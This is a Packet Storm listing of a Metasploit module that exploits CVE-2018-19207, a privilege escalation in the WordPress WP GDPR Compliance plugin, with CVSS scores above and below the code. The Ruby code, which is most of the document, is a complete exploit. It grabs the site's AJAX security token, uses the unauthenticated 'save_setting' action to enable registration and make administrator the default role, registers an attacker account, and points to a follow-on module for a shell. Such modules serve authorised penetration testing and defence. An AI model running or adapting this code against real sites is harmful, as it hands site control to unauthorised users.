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packetstormMikey Veenstra, Thomas Labadie, metasploit.comPACKETSTORM:180839
HistoryAug 31, 2024 - 12:00 a.m.

WordPress WP GDPR Compliance Plugin Privilege Escalation

2024-08-3100:00:00
Mikey Veenstra, Thomas Labadie, metasploit.com
packetstormsecurity.com
17
wordpress
gdpr
privilege escalation
admin-ajax.php
configuration
unauthorized users

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.971

Percentile

99.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',  
'Description' => %q{  
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set  
wordpress administration options by overwriting values within the database.  
  
The vulnerability is present in WordPress’s admin-ajax.php, which allows unauthorized  
users to trigger handlers and make configuration changes because of a failure to do  
capability checks when executing the 'save_setting' internal action.  
  
WARNING: The module sets Wordpress configuration options without reading their current  
values and restoring them later.  
},  
'Author' => [  
'Mikey Veenstra (WordFence)', # Vulnerability discovery  
'Thomas Labadie' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/'],  
['CVE', '2018-19207'],  
['WPVDB', '9144']  
],  
'Notes' => {  
'Stability' => [],  
'Reliability' => [],  
'SideEffects' => [CONFIG_CHANGES]  
},  
'DisclosureDate' => '2018-11-08'  
)  
)  
  
register_options [  
OptString.new('EMAIL', [true, 'Email for registration', nil]),  
OptString.new('USER', [true, 'Username for registration', 'msfuser'])  
]  
  
register_advanced_options [  
OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil])  
]  
end  
  
def check  
check_plugin_version_from_readme('wp-gdpr-compliance', '1.4.3')  
end  
  
def set_wp_option(name, value, ajax_security)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => wordpress_url_admin_ajax,  
'vars_post' => {  
'action' => 'wpgdprc_process_action',  
'security' => ajax_security,  
'data' => "{\"type\":\"save_setting\",\"append\":false,\"option\":\"#{name}\",\"value\":\"#{value}\"}"  
}  
)  
  
res && res.code == 200  
end  
  
def run  
print_status('Getting security token from host...')  
wp_home_res = send_request_cgi(  
'method' => 'GET',  
'uri' => target_uri.path  
)  
  
unless wp_home_res && wp_home_res.code == 200  
fail_with(Failure::UnexpectedReply, "Unable to access Wordpress: #{target_uri.path}")  
end  
  
ajax_security = wp_home_res.body[/"ajaxSecurity":"([a-zA-Z0-9]+)"/i, 1]  
  
if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)  
print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")  
unless set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security)  
print_error('Failed to change the admin e-mail address')  
return  
end  
end  
  
print_warning('Enabling user registrations...')  
unless set_wp_option('users_can_register', '1', ajax_security)  
print_error('Failed to enable user registrations')  
return  
end  
  
print_warning('Setting the default user role type to administrator...')  
unless set_wp_option('default_role', 'administrator', ajax_security)  
print_error('Failed to set the default user role')  
return  
end  
  
print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")  
unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])  
print_error('Failed to register user')  
return  
end  
  
vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')  
end  
end  
`

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.971

Percentile

99.8%